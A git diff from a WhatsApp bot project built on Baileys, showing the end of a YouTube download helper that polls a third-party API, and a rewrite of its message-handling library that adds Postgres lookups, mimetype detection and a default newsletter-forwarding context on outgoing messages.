+ /youtube\.com\/shorts\/([a-zA-Z0-9_-]{11})/,
+ /youtu\.be\/([a-zA-Z0-9_-]{11})/
+ ];
+ for (let b of a) {
+ if (b.test(url)) return url.match(b)[1];
+ }
+ return null;
+ },
+
+ request: async (endpoint, params = {}) => {
+ try {
+ const { data } = await axios.get(`${ytdown.api.base}${endpoint}`, {
+ params, headers: ytdown.headers, withCredentials: true
+ });
+ return data;
+ } catch (error) {
+ console.error(error.message, error.response?.data);
+ throw error;
+ }
+ },
+
+ download: async (link, format) => {
+ if (!link) return { error: "[ ❌ ] ¿Dónde está el link? ¡No puedo descargar sin un link, por favor!" };
+ if (!ytdown.isUrl(link)) return { error: "[ ❌ ] ¿Qué link metiste, hermano? ¡Solo links de YouTube, que eso es lo que quieres descargar!" };
+ if (!format || !ytdown.formats.includes(format)) return {
+ error: "[ ❌ ] ¡Ese formato no existe, hermano! Elige uno de los disponibles, no busques lo que no hay.",
+ availableFormats: ytdown.formats
+ };
+
+ const id = ytdown.youtube(link);
+ if (!id) return { error: "[ ❌ ] No pude extraer el link de YouTube, usa un link correcto para que no pase esto otra vez, ¡qué risa!" };
+
+ try {
+ const response = await ytdown.request("download.php", { format, url: `https://www.youtube.com/watch?v=${id}` });
+ return ytdown.handler(response, format, id);
+ } catch (error) {
+ return {
+ error: `[ ❌ ] ${error.message}`,
+ details: error.response?.data
+ };
+ }
+ },
+
+ handler: async (data, format, id) => {
+ if (!data.success) return { error: data.message || "[ ❌ ] Error" };
+ if (!data.id) return { error: "[ ❌ ] ¡No hay ID de descarga, hermano! Así no puedo continuar el proceso, ¡qué risa!" };
+
+ try {
+ const pr = await ytdown.checkProgress(data.id);
+ return pr.success ? ytdown.final(data, pr, format, id) : pr;
+ } catch (error) {
+ return { error: `[ ❌ ] ${error.message}` };
+ }
+ },
+
+ checkProgress: async (id) => {
+ let attempts = 0, lastProgress = -1;
+ process.stdout.write("[ ✨ ] Progreso: [ ] 0%");
+
+ while (attempts < 100) {
+ try {
+ const { data } = await axios.get(ytdown.api.progress, {
+ params: { id }, headers: ytdown.headers, withCredentials: true
+ });
+
+ const currentProgress = Math.round(data.progress / 10);
+ if (currentProgress !== lastProgress) {
+ ytdown.updateBar(currentProgress);
+ lastProgress = currentProgress;
+ }
+
+ if (data.download_url && data.success) {
+ return { success: true, ...data };
+ } else if (!data.download_url && data.success) {
+ return { error: data.text };
+ }
+
+ await new Promise(resolve => setTimeout(resolve, 1000));
+ attempts++;
+ } catch (error) {
+ console.error("\n", error);
+ attempts++;
+ await new Promise(resolve => setTimeout(resolve, 1000));
+ }
+ }
+
+ return { error: "[ ❌ ] El proceso de descarga no pudo continuar, hermano, ¡se acabó el tiempo!" };
+ },
+
+ updateBar: (progress) => {
+ const barLength = 30;
+ const filledLength = Math.round(barLength * progress / 100);
+ const bar = '█'.repeat(filledLength) + ' '.repeat(barLength - filledLength);
+ process.stdout.clearLine();
+ process.stdout.cursorTo(0);
+ process.stdout.write(`[ ✨ ] Progreso: [${bar}] ${progress}%\n\n`);
+ },
+
+ final: (init, pro, formats, id) => ({
+ success: true,
+ title: init.title || "[ ❌ ] No sé",
+ type: ['360', '480', '720', '1080', '1440', '2160'].includes(formats) ? 'video' : 'audio',
+ formats,
+ thumbnail: init.info?.image || `https://img.youtube.com/vi/${id}/hqdefault.jpg`,
+ download: pro.download_url || "[ ❌ ] No sé",
+ id: id
+ })
+};
+
+export { blackboxAi, exoml, perplexity, amdl, pinterest, ytdown };
\ No newline at end of file
diff --git a/lib/simple.js b/lib/simple.js
index a75a15a17..c8355b4c2 100644
--- a/lib/simple.js
+++ b/lib/simple.js
@@ -1,1859 +1,506 @@
-import path from 'path'
-import { toAudio } from './converter.js'
-import chalk from 'chalk'
-import fetch from 'node-fetch'
-import PhoneNumber from 'awesome-phonenumber'
+import * as baileys from "@whiskeysockets/baileys";
import fs from 'fs'
-import util from 'util'
-import { fileTypeFromBuffer } from 'file-type'
-import { format } from 'util'
-import { fileURLToPath } from 'url'
-import store from './store.js'
-import Jimp from 'jimp'
+import { fileTypeFromBuffer } from 'file-type'
+import path from 'path';
+import fetch from 'node-fetch';
+import { db } from './postgres.js'
-const __dirname = path.dirname(fileURLToPath(import.meta.url))
-
-/**
- * @type {import('@adiwajshing/baileys')}
- */
const {
- default: _makeWaSocket,
- makeWALegacySocket,
- proto,
- downloadContentFromMessage,
- jidDecode,
- areJidsSameUser,
- generateForwardMessageContent,
- generateWAMessageFromContent,
- WAMessageStubType,
- extractMessageContent
-} = (await import('@whiskeysockets/baileys')).default
+ makeWASocket,
+ proto,
+ downloadMediaMessage,
+ downloadContentFromMessage,
+ jidDecode,
+ areJidsSameUser,
+ generateWAMessage,
+ generateForwardMessageContent,
+ generateWAMessageFromContent,
+ WAMessageStubType,
+ extractMessageContent,
+ WA_DEFAULT_EPHEMERAL,
+ prepareWAMessageMedia
+} = baileys;
+
+
+export async function smsg(conn, m) {
+if (!m) return m;
+const M = proto.WebMessageInfo;
+m.db = { query: (...args) => db.query(...args) };
+
+if (!m.mentionedJid) m.mentionedJid = m.message?.extendedTextMessage?.contextInfo?.mentionedJid || []
+if (!m.quoted && m.message?.extendedTextMessage?.contextInfo?.quotedMessage) {
+ const ctx = m.message.extendedTextMessage.contextInfo;
+ const quotedMessage = {
+ key: {
+ id: ctx.stanzaId,
+ fromMe: ctx.participant === conn.user?.jid,
+ remoteJid: m.chat,
+ participant: ctx.participant,
+ },
+ message: ctx.quotedMessage,
+ messageTimestamp: m.messageTimestamp,
+ participant: ctx.participant,
+ sender: ctx.participant,
+ chat: m.chat,
+ };
+ m.quoted = {
+ ...quotedMessage,
+ download: () => downloadMediaMessage(quotedMessage, 'buffer', {}),
+ };
+ }
-export function makeWASocket(connectionOptions, options = {}) {
- /**
- * @type {import('@adiwajshing/baileys').WASocket | import('@adiwajshing/baileys').WALegacySocket}
- */
- let conn = (global.opts['legacy'] ? makeWALegacySocket : _makeWaSocket)(connectionOptions)
+try {
+ const resUser = await db.query('SELECT * FROM usuarios WHERE id = $1', [m.sender]);
+ m.user = resUser.rows[0] || {};
+} catch (e) {
+ console.error("❌ Error al obtener datos del usuario:", e);
+ m.user = {};
+}
- let sock = Object.defineProperties(conn, {
- chats: {
- value: { ...(options.chats || {}) },
- writable: true
- },
- decodeJid: {
- value(jid) {
- if (!jid || typeof jid !== 'string') return (!nullish(jid) && jid) || null
- return jid.decodeJid()
- }
- },
- logger: {
- get() {
- return {
- info(...args) {
- console.log(
- chalk.bold.bgRgb(51, 204, 51)('INFO '),
- `[${chalk.rgb(255, 255, 255)(new Date().toUTCString())}]:`,
- chalk.cyan(format(...args))
- )
- },
- error(...args) {
- console.log(
- chalk.bold.bgRgb(247, 38, 33)('ERROR '),
- `[${chalk.rgb(255, 255, 255)(new Date().toUTCString())}]:`,
- chalk.rgb(255, 38, 0)(format(...args))
- )
- },
- warn(...args) {
- console.log(
- chalk.bold.bgRgb(255, 153, 0)('WARNING '),
- `[${chalk.rgb(255, 255, 255)(new Date().toUTCString())}]:`,
- chalk.redBright(format(...args))
- )
- },
- trace(...args) {
- console.log(
- chalk.grey('TRACE '),
- `[${chalk.rgb(255, 255, 255)(new Date().toUTCString())}]:`,
- chalk.white(format(...args))
- )
- },
- debug(...args) {
- console.log(
- chalk.bold.bgRgb(66, 167, 245)('DEBUG '),
- `[${chalk.rgb(255, 255, 255)(new Date().toUTCString())}]:`,
- chalk.white(format(...args))
- )
- }
- }
- },
- enumerable: true
- },
- //GataBot
- sendGataBot: {
- async value(jid, text = '', buffer, title, body, url, quoted, options) {
- if (buffer) try { (type = await conn.getFile(buffer), buffer = type.data) } catch { buffer = buffer }
- let prep = generateWAMessageFromContent(jid, { extendedTextMessage: { text: text, contextInfo: { externalAdReply: { title: title, body: body, thumbnail: buffer, sourceUrl: url }, mentionedJid: await conn.parseMention(text) }}}, { quoted: quoted, ephemeralExpiration: 24*60*100, disappearingMessagesInChat: 24*60*100})
- return conn.relayMessage(jid, prep.message, { messageId: prep.key.id })
+if (m.isGroup) {
+ try {
+ const resChat = await db.query('SELECT * FROM group_settings WHERE group_id = $1', [m.chat]);
+ m.chatDB = resChat.rows[0] || {};
+ } catch (e) {
+ console.error("❌ Error al obtener datos del grupo:", e);
+ m.chatDB = {};
+ }
}
-},
- sendPayment: {
- async value(jid, amount, text, quoted, options) {
- conn.relayMessage(jid, {
- requestPaymentMessage: {
- currencyCodeIso4217: 'PEN',
- amount1000: amount,
- requestFrom: null,
- noteMessage: {
- extendedTextMessage: {
- text: text,
- contextInfo: {
- externalAdReply: {
- showAdAttribution: true
- }, mentionedJid: conn.parseMention(text) }}}}}, {})}
- },
- getFile: {
- /**
- * getBuffer hehe
- * @param {fs.PathLike} PATH
- * @param {Boolean} saveToFile
- */
- async value(PATH, saveToFile = false) {
- let res, filename
- const data = Buffer.isBuffer(PATH) ? PATH : PATH instanceof ArrayBuffer ? PATH.toBuffer() : /^data:.*?\/.*?;base64,/i.test(PATH) ? Buffer.from(PATH.split`,`[1], 'base64') : /^https?:\/\//.test(PATH) ? await (res = await fetch(PATH)).buffer() : fs.existsSync(PATH) ? (filename = PATH, fs.readFileSync(PATH)) : typeof PATH === 'string' ? PATH : Buffer.alloc(0)
- if (!Buffer.isBuffer(data)) throw new TypeError('Result is not a buffer')
- const type = await fileTypeFromBuffer(data) || {
- mime: 'application/octet-stream',
- ext: '.bin'
- }
- if (data && saveToFile && !filename) (filename = path.join(__dirname, '../tmp/' + new Date * 1 + '.' + type.ext), await fs.promises.writeFile(filename, data))
- return {
- res,
- filename,
- ...type,
- data,
- deleteFile() {
- return filename && fs.promises.unlink(filename)
- }
- }
- },
- enumerable: true
- },
- waitEvent: {
- /**
- * waitEvent
- * @param {String} eventName
- * @param {Boolean} is
- * @param {Number} maxTries
- */
- value(eventName, is = () => true, maxTries = 25) { //Idk why this exist?
- return new Promise((resolve, reject) => {
- let tries = 0
- let on = (...args) => {
- if (++tries > maxTries) reject('Max tries reached')
- else if (is()) {
- conn.ev.off(eventName, on)
- resolve(...args)
- }
- }
- conn.ev.on(eventName, on)
- })
- }
- },
- sendContact: {
- /**
- * Send Contact
- * @param {String} jid
- * @param {String[][]|String[]} data
- * @param {import('@adiwajshing/baileys').proto.WebMessageInfo} quoted
- * @param {Object} options
- */
- async value(jid, data, quoted, options) {
- if (!Array.isArray(data[0]) && typeof data[0] === 'string') data = [data]
- let contacts = []
- for (let [number, name] of data) {
- number = number.replace(/[^0-9]/g, '')
- let njid = number + '@s.whatsapp.net'
- let biz = await conn.getBusinessProfile(njid).catch(_ => null) || {}
- let vcard = `
-BEGIN:VCARD
-VERSION:3.0
-N:;${name.replace(/\n/g, '\\n')};;;
-FN:${name.replace(/\n/g, '\\n')}
-TEL;type=CELL;type=VOICE;waid=${number}:${PhoneNumber('+' + number).getNumber('international')}${biz.description ? `
-X-WA-BIZ-NAME:${(conn.chats[njid]?.vname || conn.getName(njid) || name).replace(/\n/, '\\n')}
-X-WA-BIZ-DESCRIPTION:${biz.description.replace(/\n/g, '\\n')}
-`.trim() : ''}
-END:VCARD
- `.trim()
- contacts.push({ vcard, displayName: name })
- }
- return await conn.sendMessage(jid, {
- ...options,
- contacts: {
- ...options,
- displayName: (contacts.length >= 2 ? `${contacts.length} kontak` : contacts[0].displayName) || null,
- contacts,
- }
- }, { quoted, ...options })
- },
- enumerable: true
- },
- resize: {
- value(buffer, ukur1, ukur2) {
- return new Promise(async(resolve, reject) => {
- var baper = await Jimp.read(buffer)
- var ab = await baper.resize(ukur1, ukur2).getBufferAsync(Jimp.MIME_JPEG)
- resolve(ab)
- })
- }
- },
-
- relayWAMessage: {
- async value (pesanfull) {
- if (pesanfull.message.audioMessage) {
- await conn.sendPresenceUpdate('recording', pesanfull.key.remoteJid)
- } else {
- await conn.sendPresenceUpdate('composing', pesanfull.key.remoteJid)
- }
- var mekirim = await conn.relayMessage(pesanfull.key.remoteJid, pesanfull.message, { messageId: pesanfull.key.id })
- conn.ev.emit('messages.upsert', { messages: [pesanfull], type: 'append' });
- return mekirim
- }
- },
- /**
- * Send a list message
- * @param jid the id to send to
- * @param button the optional button text, title and description button
- * @param rows the rows of sections list message
- */
- sendListM: {
- async value(jid, button, rows, quoted, options = {}) {
- let fsizedoc = '1'.repeat(10)
- const sections = [
- {
- title: button.title,
- rows: [...rows]
- }
- ]
- const listMessage = {
- text: button.description,
- footer: button.footerText,
- mentions: await conn.parseMention(button.description),
- ephemeralExpiration: '86400',
- title: '',
- buttonText:button.buttonText,
- sections
- }
- conn.sendMessage(jid, listMessage, {
- quoted,
- ephemeralExpiration: fsizedoc,
- contextInfo: {
- forwardingScore: fsizedoc,
- isForwarded: true,
- mentions: await conn.parseMention(button.description + button.footerText),
- ...options
- }
- })
- }
- },
-
- sendList: {
- async value(jid, title, text, footer, buttonText, buffer, listSections, quoted, options) {
- if (buffer) try { (type = await conn.getFile(buffer), buffer = type.data) } catch { buffer = buffer }
- if (buffer && !Buffer.isBuffer(buffer) && (typeof buffer === 'string' || Array.isArray(buffer))) (options = quoted, quoted = listSections, listSections = buffer, buffer = null)
- if (!options) options = {}
- // send a list message!
- const sections = listSections.map(([title, rows]) => ({
- title: !nullish(title) && title || !nullish(rowTitle) && rowTitle || '',
- rows: rows.map(([rowTitle, rowId, description]) => ({
- title: !nullish(rowTitle) && rowTitle || !nullish(rowId) && rowId || '',
- rowId: !nullish(rowId) && rowId || !nullish(rowTitle) && rowTitle || '',
- description: !nullish(description) && description || ''
- }))
- }))
+if (m.quoted && m.quoted.message && typeof m.quoted.message === 'object') {
+ const keys = Object.keys(m.quoted.message);
+ if (keys.length > 0) {
+ const type = keys[0];
+ const media = m?.quoted.message[type];
+
+ if (type?.includes('image')) m.quoted.mimetype = 'image';
+ else if (type?.includes('video')) m.quoted.mimetype = 'video';
+ else if (type?.includes('sticker')) m.quoted.mimetype = 'image/webp';
+ else if (type?.includes('audio')) m.quoted.mimetype = 'audio';
+ else if (type?.includes('document')) m.quoted.mimetype = media.mimetype || 'application/octet-stream';
+ }
+}
- const listMessage = {
- text,
- footer,
- title,
- buttonText,
- sections
- }
- return await conn.sendMessage(jid, listMessage, {
- quoted,
- upload: conn.waUploadToServer,
- ...options
- })
- }
- },
- /**
- * Send Contact Array
- * @param {String} jid
- * @param {String} number
- * @param {String} name
- * @param {Object} quoted
- * @param {Object} options
- */
-sendContactArray: {
- async value(jid, data, quoted, options) {
- if (!Array.isArray(data[0]) && typeof data[0] === 'string') data = [data]
- let contacts = []
- let buttons = []
- for (let [number, name, isi, isi1, isi2, isi3, isi4, isi5, ...extraLinks] of data) {
- number = number.replace(/[^0-9]/g, '')
- let njid = number + '@s.whatsapp.net'
- let biz = await conn.getBusinessProfile(njid).catch(_ => null) || {};
- let vcard = `
-BEGIN:VCARD
-VERSION:3.0
-N:Sy;Bot;;;
-FN:${name.replace(/\n/g, '\\n')}
-item.ORG:${isi}
-item1.TEL;waid=${number}:${PhoneNumber('+' + number).getNumber('international')}
-item1.X-ABLabel:${isi1}
-${isi2 ? `item2.EMAIL;type=INTERNET:${isi2}\nitem2.X-ABLabel:📧 Email` : ''}
-${isi3 ? `item3.ADR:;;${isi3};;;;\nitem3.X-ABADR:ac \nitem3.X-ABLabel:📍 Region` : ''}
-${isi4 ? `item4.URL;type=pref:${isi4}\nitem4.X-ABLabel:Website` : ''}
-${extraLinks.map((link, index) => link ? `item${index + 5}.URL;type=pref:${link}\nitem${index + 5}.X-ABLabel:Extra Link ${index + 1}` : '').join('\n')}
-${isi5 ? `${extraLinks.length > 0 ? `item${extraLinks.length + 5}` : 'item5'}.X-ABLabel:${isi5}` : ''}
-END:VCARD`.trim()
+if (!m.mimetype) {
+ const messageContent = m.message;
+ if (messageContent) {
+ const type = Object.keys(messageContent)[0];
+if (type && type.includes('image')) m.mimetype = 'image';
+else if (type && type.includes('video')) m.mimetype = 'video';
+else if (type && type.includes('sticker')) m.mimetype = 'image/webp';
+else if (type && type.includes('audio')) m.mimetype = 'audio';
+else if (type && type.includes('document')) {
+ const msgMedia = messageContent[type];
+ m.mimetype = msgMedia?.mimetype || 'application/octet-stream';
+ }
+ }
+ }
- let newButtons = extraLinks.map((link, index) => ({
- buttonId: `extra-link-${index + 1}`,
- buttonText: { displayText: `Extra Link ${index + 1}` },
- type: 1,
- url: `http://${link}`
- }))
- buttons.push(...newButtons)
+ if (m.key) {
+ m.id = m.key.id;
+ m.chat = m.key.remoteJid;
+ m.fromMe = m.key.fromMe;
+ m.isGroup = m.chat?.endsWith('@g.us') || false;
+ let senderJid = m.fromMe ? conn.user.id : m.key.participant || m.key.remoteJid;
+
+// Si existe un participantAlt válido, úsalo
+if (m.key.participantAlt && m.key.participantAlt.endsWith('@s.whatsapp.net')) {
+ m.sender = m.key.participantAlt;
+ m.lid = senderJid;
+} else {
+ m.sender = senderJid;
+}
- contacts.push({ vcard, displayName: name })
- }
+m.who = m.mentionedJid && m.mentionedJid[0] ? m.mentionedJid[0] : m.fromMe ? conn.user.id : m.sender;
+m.pp = await conn.profilePictureUrl(m.who, 'image').catch(_ => 'https://telegra.ph/file/33bed21a0eaa789852c30.jpg');
+
+if (m.isGroup) {
+ try {
+ const metadata = await conn.groupMetadata(m.chat);
+ const participants = metadata.participants || [];
+ m.isAdmin = participants.some(p => p.id === m.sender && (p.admin === 'admin' || p.admin === 'superadmin'));
+ m.isBotAdmin = participants.some(p => p.id === conn.user?.id.replace(/:\d+@/, "@") && (p.admin === 'admin' || p.admin === 'superadmin'));
+ } catch (e) {
+ m.isAdmin = false;
+ m.isBotAdmin = false;
+ }
+}
+ } else {
+ }
- let displayName = null
- if (contacts.length === 1) {
- displayName = contacts[0].displayName
- } else if (contacts.length > 1) {
- displayName = `${contacts.length} kontak`
+m.download = async () => {
+ const messageContent = m.message || (m.quoted && m.quoted.message);
+ if (!messageContent) throw new Error('No se encontró contenido para descargar');
+ const type = Object.keys(messageContent)[0];
+ const stream = await downloadContentFromMessage(messageContent[type], type.includes('image') ? 'image' : type.includes('video') ? 'video' : 'document');
+ return await streamToBuffer(stream);
+ };
+
+conn.decodeJid = (jid) => {
+ if (!jid) return jid;
+ if (jid.endsWith('@lid')) return jid;
+ if (/:\d+@/i.test(jid)) return jid.split(':')[0] + '@s.whatsapp.net';
+ return jid;
+};
+
+ conn.getName = async (jid, withoutContact = false, m = null) => {
+ if (!jid) return null;
+ jid = conn.decodeJid ? conn.decodeJid(jid) : jid;
+ try {
+ if (jid.endsWith('@g.us')) {
+ const metadata = await conn.groupMetadata(jid);
+ return metadata.subject || (withoutContact ? null : jid.split('@')[0]);
+ } else {
+ if (jid === '0@s.whatsapp.net') return 'WhatsApp';
+ if (conn.user?.jid && jid === conn.user.jid) return conn.user.name || jid.split('@')[0];
+ if (m?.pushName && m?.sender === jid) return m.pushName;
+
+ const res = await db.query('SELECT nombre FROM usuarios WHERE id = $1', [jid]);
+ if (res.rows.length && res.rows[0].nombre) return res.rows[0].nombre;
+
+ return jid.split('@')[0]; //
}
-
- let contactsWithButtons = []
- for (let i = 0; i < contacts.length; i++) {
- let contact = contacts[i]
- let contactButtons = buttons.filter(button => button.buttonId.startsWith(`extra-link-${i + 1}`))
- contactsWithButtons.push({ ...contact, ...{ buttons: contactButtons } })
+ } catch (err) {
+ console.error(err);
+ return jid.split('@')[0];
+ }
+};
+
+Array.prototype.getRandom = function () {
+ return this[Math.floor(Math.random() * this.length)];
+};
+
+const originalSendMessage = conn.sendMessage.bind(conn);
+conn.sendMessage = async function (jid, content, options = {}) {
+ const contextInfoDefault = {
+ mentionedJid: await conn.parseMention(content?.text || content?.caption || ''),
+ isForwarded: true,
+ forwardingScore: 1,
+ forwardedNewsletterMessageInfo: {
+ newsletterJid: "120363305025805187@newsletter",
+/* newsletterJid: (() => {
+ const loli = "120363305025805187@newsletter";
+ const otros = ["120363160031023229@newsletter", "120363301598733462@newsletter"];
+ return Math.random() < 0.75 ? loli : otros[Math.floor(Math.random() * otros.length)]})(),*/
+ newsletterName: "LoliBot ✨️"
}
+ };
- return await conn.sendMessage(jid, {
- contacts: {
- displayName,
- contacts: contactsWithButtons
- }
- }, {
- quoted,
- ...options
- })
+ if (!content.contextInfo) {
+ content.contextInfo = contextInfoDefault;
}
-},
-
- sendFile: {
- /**
- * Send Media/File with Automatic Type Specifier
- * @param {String} jid
- * @param {String|Buffer} path
- * @param {String} filename
- * @param {String} caption
- * @param {import('@adiwajshing/baileys').proto.WebMessageInfo} quoted
- * @param {Boolean} ptt
- * @param {Object} options
- */
- async value(jid, path, filename = '', caption = '', quoted, ptt = false, options = {}) {
- let type = await conn.getFile(path, true)
- let { res, data: file, filename: pathFile } = type
- if (res && res.status !== 200 || file.length <= 65536) {
- try { throw { json: JSON.parse(file.toString()) } }
- catch (e) { if (e.json) throw e.json }
- }
- //const fileSize = fs.statSync(pathFile).size / 1024 / 1024
- //if (fileSize >= 100) throw new Error('File size is too big!')
- let opt = {}
- if (quoted) opt.quoted = quoted
- if (!type) options.asDocument = true
- let mtype = '', mimetype = options.mimetype || type.mime, convert
- if (/webp/.test(type.mime) || (/image/.test(type.mime) && options.asSticker)) mtype = 'sticker'
- else if (/image/.test(type.mime) || (/webp/.test(type.mime) && options.asImage)) mtype = 'image'
- else if (/video/.test(type.mime)) mtype = 'video'
- else if (/audio/.test(type.mime)) (
- convert = await toAudio(file, type.ext),
- file = convert.data,
- pathFile = convert.filename,
- mtype = 'audio',
- mimetype = options.mimetype || 'audio/ogg; codecs=opus'
- )
- else mtype = 'document'
- if (options.asDocument) mtype = 'document'
-
- delete options.asSticker
- delete options.asLocation
- delete options.asVideo
- delete options.asDocument
- delete options.asImage
-
- let message = {
- ...options,
- caption,
- ptt,
- [mtype]: { url: pathFile },
- mimetype,
- fileName: filename || pathFile.split('/').pop()
- }
- /**
- * @type {import('@adiwajshing/baileys').proto.WebMessageInfo}
- */
- let m
- try {
- m = await conn.sendMessage(jid, message, { ...opt, ...options })
- } catch (e) {
- console.error(e)
- m = null
- } finally {
- if (!m) m = await conn.sendMessage(jid, { ...message, [mtype]: file }, { ...opt, ...options })
- file = null // releasing the memory
- return m
- }
- },
- enumerable: true
- },
- reply: {
- /**
- * Reply to a message
- * @param {String} jid
- * @param {String|Buffer} text
- * @param {import('@adiwajshing/baileys').proto.WebMessageInfo} quoted
- * @param {Object} options
- */
- value(jid, text = '', quoted, options) {
- return Buffer.isBuffer(text) ? conn.sendFile(jid, text, 'file', '', quoted, false, options) : conn.sendMessage(jid, { ...options, text }, { quoted, ...options, ephemeralExpiration: 24*60*100, disappearingMessagesInChat: 24*60*100})
- }
- },
-
- /** Resize Image
- *
- * @param {Buffer} Buffer (Only Image)
- * @param {Numeric} Width
- * @param {Numeric} Height
- */
- resize: {
- async value(image, width, height) {
- let oyy = await Jimp.read(image)
- let kiyomasa = await oyy.resize(width, height).getBufferAsync(Jimp.MIME_JPEG)
- return kiyomasa
- }
- },
- /** Profile Image
- *
- * @param {Buffer} Buffer (Only Image)
- * @param {Numeric} Width
- * @param {Numeric} Height
- */
- generateProfilePicture: {
- async value(buffer) {
- const jimp_1 = await Jimp.read(buffer);
- const resz = jimp_1.getWidth() > jimp_1.getHeight() ? jimp_1.resize(550, Jimp.AUTO) : jimp_1.resize(Jimp.AUTO, 650)
- const jimp_2 = await Jimp.read(await resz.getBufferAsync(Jimp.MIME_JPEG));
- return {
- img: await resz.getBufferAsync(Jimp.MIME_JPEG)
- }}
- },
-
- /**
- * send Button Img
- * @param {String} jid
- * @param {String} contentText
- * @param {String} footer
- * @param {Buffer|String} buffer
- * @param {String[]} buttons
- * @param {Object} quoted
- * @param {Object} options
- */
- sendButtonImg: {
- async value(jid, buffer, contentText, footerText, button1, id1, quoted, options) {
- let type = await conn.getFile(buffer)
- let { res, data: file } = type
- if (res && res.status !== 200 || file.length <= 65536) {
- try { throw { json: JSON.parse(file.toString()) } }
- catch (e) { if (e.json) throw e.json }
- }
- const buttons = [
- { buttonId: id1, buttonText: { displayText: button1 }, type: 1 }
- ]
- const buttonMessage = {
- image: file,
- fileLength: 800000000000000,
- caption: contentText,
- footer: footerText,
- mentions: await conn.parseMention(contentText + footerText),
- ...options,
- buttons: buttons,
- headerType: 4
- }
+ return originalSendMessage(jid, content, options);
+};
- return conn.sendMessage(jid, buttonMessage, { quoted, ephemeralExpiration: 86400, contextInfo: { mentionedJid: conn.parseMention(contentText + footerText) }, ...options })
- }},
-
-/**
- * send Button Vid
- * @param {String} jid
- * @param {String} contentText
- * @param {String} footer
- * @param {Buffer|String} buffer
- * @param {String} buttons1
- * @param {String} row1
- * @param {Object} quoted
- * @param {Object} options
- */
- send1ButtonVid: {
- async value(jid, buffer, contentText, footerText, button1, id1, quoted, options) {
- let type = await conn.getFile(buffer)
- let { res, data: file } = type
- if (res && res.status !== 200 || file.length <= 65536) {
- try { throw { json: JSON.parse(file.toString()) } }
- catch (e) { if (e.json) throw e.json }
- }
- let buttons = [
- { buttonId: id1, buttonText: { displayText: button1 }, type: 1 }
- ]
- const buttonMessage = {
- video: file,
- fileLength: 800000000000000,
- caption: contentText,
- footer: footerText,
- mentions: await conn.parseMention(contentText),
- ...options,
- buttons: buttons,
- headerType: 4
- }
- return conn.sendMessage(jid, buttonMessage, {
- quoted,
- ephemeralExpiration: 86400,
- ...options
- })
- }},
-
-send2ButtonVid: {
- async value(jid, buffer, contentText, footerText, button1, id1, button2, id2, quoted, options) {
- let type = await conn.getFile(buffer)
- let { res, data: file } = type
- if (res && res.status !== 200 || file.length <= 65536) {
- try { throw { json: JSON.parse(file.toString()) } }
- catch (e) { if (e.json) throw e.json }
- }
- let buttons = [
- { buttonId: id1, buttonText: { displayText: button1 }, type: 1 },
- { buttonId: id2, buttonText: { displayText: button2 }, type: 1 }
- ]
- const buttonMessage = {
- video: file,
- fileLength: 800000000000000,
- caption: contentText,
- footer: footerText,
- mentions: await conn.parseMention(contentText + footerText),
- ...options,
- buttons: buttons,
- headerType: 4
- }
- return conn.sendMessage(jid, buttonMessage, {
- quoted,
- ephemeralExpiration: 86400,
- ...options
- })
- }},
-
-sendButtonLoc: {
- /**
- * send Button Loc
- * @param {String} jid
- * @param {String} contentText
- * @param {String} footer
- * @param {Buffer|String} buffer
- * @param {String[]} buttons
- * @param {Object} quoted
- * @param {Object} options
- */
- async value (jid, buffer, content, footer, button1, row1, quoted, options = {}) {
- let type = await conn.getFile(buffer)
- let { res, data: file } = type
- if (res && res.status !== 200 || file.length <= 65536) {
- try { throw { json: JSON.parse(file.toString()) } }
- catch (e) { if (e.json) throw e.json }
- }
- let buttons = [
- { buttonId: row1, buttonText: { displayText: button1 }, type: 1 }
- ]
-
- let buttonMessage = {
- location: { jpegThumbnail: file },
- caption: content,
- footer: footer,
- mentions: await conn.parseMention(content + footer),
- ...options,
- buttons: buttons,
- headerType: 6
- }
- return await conn.sendMessage(jid, buttonMessage, {
- quoted,
- upload: conn.waUploadToServer,
- ephemeralExpiration: global.ephemeral,
- mentions: await conn.parseMention(content + footer),
- ...options})}
- },
-
- /** This Section **/
- sendButtonVid: {
- async value(jid, buffer, contentText, footerText, button1, id1, button2, id2, button3, id3, quoted, options) {
- let type = await conn.getFile(buffer)
- let { res, data: file } = type
- if (res && res.status !== 200 || file.length <= 65536) {
- try { throw { json: JSON.parse(file.toString()) } }
- catch (e) { if (e.json) throw e.json }
- }
- let buttons = [
- { buttonId: id1, buttonText: { displayText: button1 }, type: 1 },
- { buttonId: id2, buttonText: { displayText: button2 }, type: 1 },
- { buttonId: id3, buttonText: { displayText: button3 }, type: 1 },
- ]
- const buttonMessage = {
- video: file,
- fileLength: 800000000000000,
- caption: contentText,
- footer: footerText,
- mentions: await conn.parseMention(contentText + footerText),
- ...options,
- buttons: buttons,
- headerType: 4
- }
- return conn.sendMessage(jid, buttonMessage, {
- quoted,
- ephemeralExpiration: 86400,
- ...options
- })
- }},
-
-/** This Section **/
- sendTemplateButtonLoc: {
- async value(jid, buffer, contentText, footer, buttons1, row1, quoted, options) {
- let file = await conn.resize(buffer, 300, 150)
- const template = generateWAMessageFromContent(jid, proto.Message.fromObject({
- templateMessage: {
- hydratedTemplate: {
- locationMessage: { jpegThumbnail: file },
- hydratedContentText: contentText,
- hydratedFooterText: footer,
- ...options,
- hydratedButtons: [{
- urlButton: {
- displayText: global.author,
- url: global.md
- }
- },
- {
- quickReplyButton: {
- displayText: buttons1,
- id: row1
- }
- }]
- }
+ conn.parseMention = async (text = '') => {
+ try {
+ if (typeof text !== 'string') return [];
+ const matches = [...text.matchAll(/@([0-9]{5,15})/g)];
+ return matches.map(match => `${match[1]}@s.whatsapp.net`).filter(jid => jid.includes('@s.whatsapp.net'));
+ } catch (e) {
+ console.error(e);
+ return [];
+ }
+ };
+
+ conn.reply = async (chatId, text, quoted = null, options = {}) => {
+ const contextInfo = {
+ mentionedJid: await conn.parseMention(text),
+ isForwarded: true,
+ forwardingScore: 1,
+ forwardedNewsletterMessageInfo: {
+ newsletterJid: "120363305025805187@newsletter",
+ newsletterName: "LoliBot ✨️"
}
- }), { userJid: conn.user.jid, quoted: quoted, contextInfo: { mentionedJid: conn.parseMention(contentText + footer) }, ephemeralExpiration: "86400", ...options });
- return conn.relayMessage(
- jid,
- template.message,
- { messageId: template.key.id }
- )
- }},
-
-sendGroupV4Invite: {
- /**
- * sendGroupV4Invite
- * @param {String} jid
- * @param {*} participant
- * @param {String} inviteCode
- * @param {Number} inviteExpiration
- * @param {String} groupName
- * @param {String} caption
- * @param {Buffer} jpegThumbnail
- * @param {*} options
- */
